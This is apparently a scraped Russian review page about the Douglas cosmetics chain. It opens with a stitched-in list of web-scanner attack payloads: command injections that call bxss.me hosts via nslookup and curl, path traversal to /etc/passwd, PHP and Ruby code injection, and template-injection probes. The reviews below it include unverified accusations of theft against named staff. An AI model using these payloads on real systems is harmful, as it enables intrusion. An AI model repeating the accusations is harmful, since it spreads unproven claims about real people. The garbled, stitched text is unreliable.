Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Ксения Николаева
29.12.2011
Магазин Дуглас Ростове на Дону. В торговом комплексе Мега. Просто супер! И консультанты и администраторы и охрана! Самый лучший Дуглас! Живу в Москве и стараюсь не посещать Дуглас по возможности! Но решила сравнить московские и ростовский. Была приятно удивлена. Чистота. Отношение консультантов класс. Охрана не сбивает с ног. Очень обходительные мальчики! Спасибо!
Мама
29.12.2011
Проработала в Дугласе (не консультантом) 6 лет, отношение головного офиса ужасное. Господин Гаспарян (кто в курсе, тот знает) человек с крайне завышенной самооценкой. НО! С зарплатой никогда не обманывали, месяц при поступлении бесплатно работать не заставляли. Просто многие приходят не работать, а проводить время, пользуясь дорогой косметикой. И, конечно, заведующих магазинами можно понять за их требовательность. Сейчас сама работаю крупным руководителем и хочу сказать. Продавец и директор стоят чаще всего на разных полюсах и правда у каждого своя.
Lila
29.12.2011
Очень приятно посещать салон Дуглас, приветливые консультанты, обширный ассортимент и можно не сомневаться в качестве товара!
Люся
29.12.2011
Мне очень нравится приобретать парфюмерию и косметику в Дуглас Риволи. Именно поэтому хочу работать в этой компании, кто знает о работе и зарплате в ней, отзовитесь, пожалуйста.
Любимая
29.12.2011
Уважаемые читатели, прошу ОБРАТИТЬ ВНИМАНИЕ! Не ходите туда работать никогда! Там сплошной обман и подставы со стороны руководства и охраны! Олег, главный охранник, строит в магазине свои коварные планы вместе с руководством! Там всё хитро устроено, чтоб обманывать низший персонал - продавцов! Работников за людей не считают! Крысы!
Stassy_luv_ya
29.12.2011
Да, действительно, бывала работа без выходных) Могли работать по 9 дней подряд, а затем 1 день на отдых, потом опять работать. А график по договору 3-3. Начиная с середины декабря даже в маленький магазин выводили чуть ли не по 2 смены сразу. Директор говорил, чтобы все не вздумали болеть и не думали о больничных. А если человек заболевал, то ему сразу устраивали по телефону "разбор полётов", не смотря на то, что человек лежит с температурой 38-39. Даже, если человек сам захотел уволиться, перед декабрём или во время этого месяца, по собственному желанию, и без особых причин, то директор не хотел даже выслушивать, ссылаясь на то, что персонала не хватает и причин нет для увольнения. Приходилось придумывать веские причины для собственного же увольнения, только так!
Против
29.12.2011
Заходя в магазины Дуглас в дни новогодних праздников, услышал как работники жаловались, что работают по 15 дней подряд и это при 12 часовом рабочем дне на ногах, в душном магазине, а законные 10 дней выходных, тоже пришлось работать, без материальной компенсации за работу в выходные дни. Инспекция по охране труда вы где?
Справедливость
29.12.2011
В Дугласе ненормальный только начальник по СБ Раджабов Ринат, он и натравливает охрану на покупателей, заставляя видеть в каждом потенциального вора. Без разбора покупатель или сотрудник магазина. Если откажется, увольняет, подставляет. Посмотрите какая у них текучка.
Оксана
29.12.2011
В Дугласе замечательные консультанты. Но! Охрана. У одного на бейдже администратор написано. Просто не вменяемая! Им необходимо пройти лечение в психиатрической клинике! Они просто не нормальные! Только в связи с этим фактом никогда не пойду тратить деньги в этот магазин. Смените охрану! Много моих знакомых не посещают этот магазин только по этому!
Алена
29.12.2011
Дуглас, в принципе, неплохой магазин, но охрану нужно менять однозначно. Я не знаю ничего про внутреннюю политику и что они там в-ют (изменено модератором), но отношение к клиентам отвратительное. Вот взять например Л153 - была возмущенна до предела, когда заходила в магазин у меня запищал пакет (Причём другого магазина). Администратор (зовут его Сергей) подлетел ко мне, бежал на меня как на футболе, ничего не объяснив вырвал пакет из рук и только потом сказал - пройдёмте на досмотр! Это вообще нормально??? Я что, в тюрьме?? Это только цветочки, дальше - хуже, начал своими руками залезать ко мне в сумку и доставать всё содержимое (Прям на кассу, в том числе и личные вещи). Но это цветочки - затем он уронил мой телефон на пол! А он стоит 30000тыс.) И даже не подняв его - извинился и сказал - всё чисто! Кошмар! Милые мои! Нельзя же так - это портит весь ваш внешний и моральный облик. С того момента я к вам не хожу, к сожалению. Теперь с удовольствием хожу к вашим конкурентам.
Честно
29.12.2011
Работа в Дугласе это потерянное здоровье, недостачи прикрываемые нач. СБ Р. Р., унизительное отношение к вам как человеку, и БОНУСОМ увольнение без причины. Удачи в выборе работы.
Папа
29.12.2011
Работал в СБ компании Дуглас Риволи. Поначалу все будет нормально (неделю), потом начнутся придирки. Вас обязательно будут заставлять, стучать. Это система, если откажитесь, вас, либо заставят брать подработки неоплачиваемые, либо подставят. Как бы вы не работали, плохо или хорошо, вами будут недовольны. Недостачи происходят в 90% со стороны адм. магазинов и прикрываются нач. СБ Р. Р., который в доле с черных, продаж. Вам будут угрожать, запугивать, имея одну цель, чтобы вы стали управляемы. Кроме материальных и моральных потерь, здоровье вы надорвете, точно. Задумайтесь.
Наташа
29.12.2011
Хочу рассказать свою историю о клиенториентированности компании "Дуглас Риволи". Я являюсь владельцем клубной пластиковой карты сети косметических магазинов ООО «Дуглас Риволи». Карта предоставляет скидку 5 % на все виды продукции магазина. По условиям, прописанным на сайте компании, когда общая сумма покупок достигает 18 500 руб., скидка увеличивается до 10%. В июне 2010 года, узнав, что можно контролировать свои покупки и накопления через личный кабинет на веб-сайте компании, я решила проверить, правильно ли ведется подсчет. На сайте можно увидеть 5 своих последних покупок и общую сумму накоплений. Выяснилось, что многие мои покупки не были учтены, точнее они учитывались через раз. 26 июня 2010 года я написала о неполадках в учетной системе представителю компании Светлане Якуниной (она указана на сайте как ответственное лицо по клубным картам) и указала, что на карту не учтены покупки на сумму около 5000 руб. 7 июля я совершила в магазине «Дуглас Риволи» очередную покупку на 2533 руб. 50 коп. Покупки в очередной раз не были зачислены на клубную карту. Я опять отправила чек и свои претензии представителю компании. В течение 2, 5 месяцев я неоднократно связывалась с представителем компании, но на сегодняшний день, 22 сентября, ситуация никак не изменилась. На лицо об. (изменено модератором) покупателей с целью не предоставлять более высокую скидку. На данный момент по моей карте не учтены покупки, по крайней мере, на 7500 руб, а то и больше. Вот так. Раньше магазин был любимым, но после такого отношения, я вряд ли еще буду делать покупки в этом магазине.
Ля
29.12.2011
А вот еще совет. Сделайте социальный опрос покупателей. Каким бы вы хотели видеть, Вашего продавца? Веселого, улыбающегося, жизнерадостного, отдохнувшим, живым, приветливым, добрым! А какими Вы делаете их? Озлобленными, усталыми, поникшими, переминающимся с ноги на ногу из за болей в ногах! Ненавидящими свою работу! Бесконечно увольняющимся! Думаю, что немало людей со мной согласятся.
Тоже мнение
29.12.2011
А какая правда может быть? Люди работают в одной сфере на разных должностях, единственная разница между обычными подчиненными, работающими непосредственно в магазинах компании. То, что то же начальство обвиняет порой невинных людей с целью унизить воровством, или попрекнуть в чем-либо еще. В одно время много народа выгнали из-за прихоти какой-то там. Понятно, что на каждой должности люди мыслят по-разному. Но нужно думать, как сделать лучше, а не так как делают все хуже и хуже. На работе должно быть комфортно. А не экономить на людях, которые стоят в жарком или холодном помещении, чуть ли не теряя сознание от переутомления, усталости и обстановки. А что начальство. Во возьмите и постойте на месте людей, которые на вас работают! Слабо?
Мое мнение
29.12.2011
Ну и дела у вас тут творятся. Прямо нет слов. Дуглас зря так швыряется сотрудниками. Ведь работник, который с большим опытом за плечами принесет больше прибыли. Так как качество обслуживания повышается. А насчет недоздач и т. д. Нужно лучше следить не только за персоналом, но так же и за покупателями. И вообще существование рабочего места, такое же как и везде. Эгоистическое отношение к сотрудникам. Например к тем же консультантам. Вообще было бы здорово, если примерно такую работу пересмотрели с более мягкими условиями. Не только в этой сфере. Ведь стоя на ногах, получая большой стресс не только от клиентов но и от начальства, внутреннего коллектива. Это большая работа, а помимо всего этого ощущать себя сотрудником которого не ценят. И в любой момент могут выкинуть. Цените то, что имеете. Тем более ходит не очень хорошая репутация вокруг доброго имени. Позиционировать себя нужно когда все в порядке. Пересмотрите свою политику. Создайте иные условия, для своих же людей! Людей, которые приносят ВАМ прибыль. Работу можно найти в любой точке Москвы. Тогда хватит пиарить! Или меняйте свой взгляд на обстоятельства!
Киска
29.12.2011
Работала достаточно долго в Дугласе, и вот вам правда - есть магазины, где работают в "общаг", т. е. план на магазин, а дальше делят между продавцами зарплату. А есть магазин, где вся продукция поделена на коэффициент, и девочкам выгодно продавать только определенные продукты и все равно, подходит вам это или нет - это их зарплата. А охрана по большому счету не все ребята там невежливые, работать очень сложно, да и покупать недешево. Так что удачи в выборе и работы, и "сети магазина".
Ловите Правду
29.12.2011
В Дугласе я проработал около двух лет. Скажу Вам по правде, что это не то место, где вы можете заработать деньги или уважение! У Вас не будет денег, не будет уважения! 1. В данной компании, так называемые "недостачи", которые оплачиваются из кармана сотрудника, контролируются (прикрываются) самим директором по безопасности - Раджабовым Ринатом! Были выносы рекламной продукции и товара со стороны дирекции магазинов с разрешения директора по безопасности, за, что в дальнейшем (удалено модератором) получал процент от суммы за продажу этого в. (изменено модератором) товара. 2. Устроившись в службу безопасности вы получите форму на год, за которую Вы должны будете выплатить при увольнении 4.590 рублей, если проработаете меньше года, а проработаете точно меньше! ВАС УВОЛЯТ! При чём все эти финансовые операции, что выплата за костюм, что недостачи, не проходят через бухгалтерию, эти деньги Вы будете отдавать на руки и даже без росписи! В Германии в компании Дуглас таких понятий нет! И они даже и не представляют, что твориться в их Российском представительстве! Поэтому не суйтесь туда.
Ирина
29.12.2011
Дуглас - это ужасный магазин с необоснованно завышенными ценами. Если вы НЕ хотите стать врагом своим родственникам и друзьям, то ни в коем случае не дарите сертификат. Эта адская бумага, действует только на товары без скидки, а цена на них ой как завышена. А продукцию со скидкой, то есть по более-менее адекватной цене, вы ни за что не купите. Так если вы покупаете духи (сертификат был на 1000) и доплачиваете (естественно на тысчонку вы вообще там ничего не выберете), то скидка тоже не распространяется. Короче, полный развод.
Елена
29.12.2011
Продают подарочные сертификаты, практически получают кредит от покупателя. А затем в течение месяца не дают возможности воспользоваться этим сертификатом. Что же это за подарок такой? Плохую рекламу делает себе фирма. Не покупайте подарочные сертификаты Дуглас!
Натали
29.12.2011
Кассиры забыли снять маячок с товара, между прочим на сумму 3500 рублей, так охранник когда все выяснилось вместо того, чтоб извинится сказал, что ему не за что извинятся в довольно грубой форме.
Евгения
29.12.2011
Зашла я в "Дуглас" купить помаду МАКС ФАКТОР. Выбираю, спрашиваю у консультанта, почему пробник такой вонючий? На что мне ответили, пробник старый, а помада хорошая, открыть мне её, естественно, не дали, сказали нельзя! Ну и поверила, дура, купила. Приехала домой, открыла, помада оказалась с жутким запахом и деформирована, такое впечатление, что она уже неоднократно подтаивала. Сегодня приехала её вернуть, но менеджер магазина "Дуглас" сказала, что я её уронила и поломала. Деньги мне, естественно, не вернули. А помаду забрали на экспертизу, лишь написав, на маленьком клочке бумаги, мой телефон. Сказали ждать две недели.
Уль
29.12.2011
Обращайте внимание: 1. Товар, имеющий бумажн. стикер со сроком годности, может быть просрочен или близок к окончанию срока годности. 2. Спрашивайте сертификаты /срок и партия должны совпадать/.
Хавро
29.12.2011
Будь готов оплачивать недостачу (всех отделов). Служба безопасности быстрей обвинит вас, чем будет разбираться в этом вопросе. Охрана магазина подтвердит то, чего не было. Зарплата - мин. оклад+процент по категориям. Ходовой товар в миним. категории. При увольнении с работы "урежут все". При поступлении отраб. месяц бесплатно. Удачи вам при поступлении в ГНУСУС РИВОЛИ.
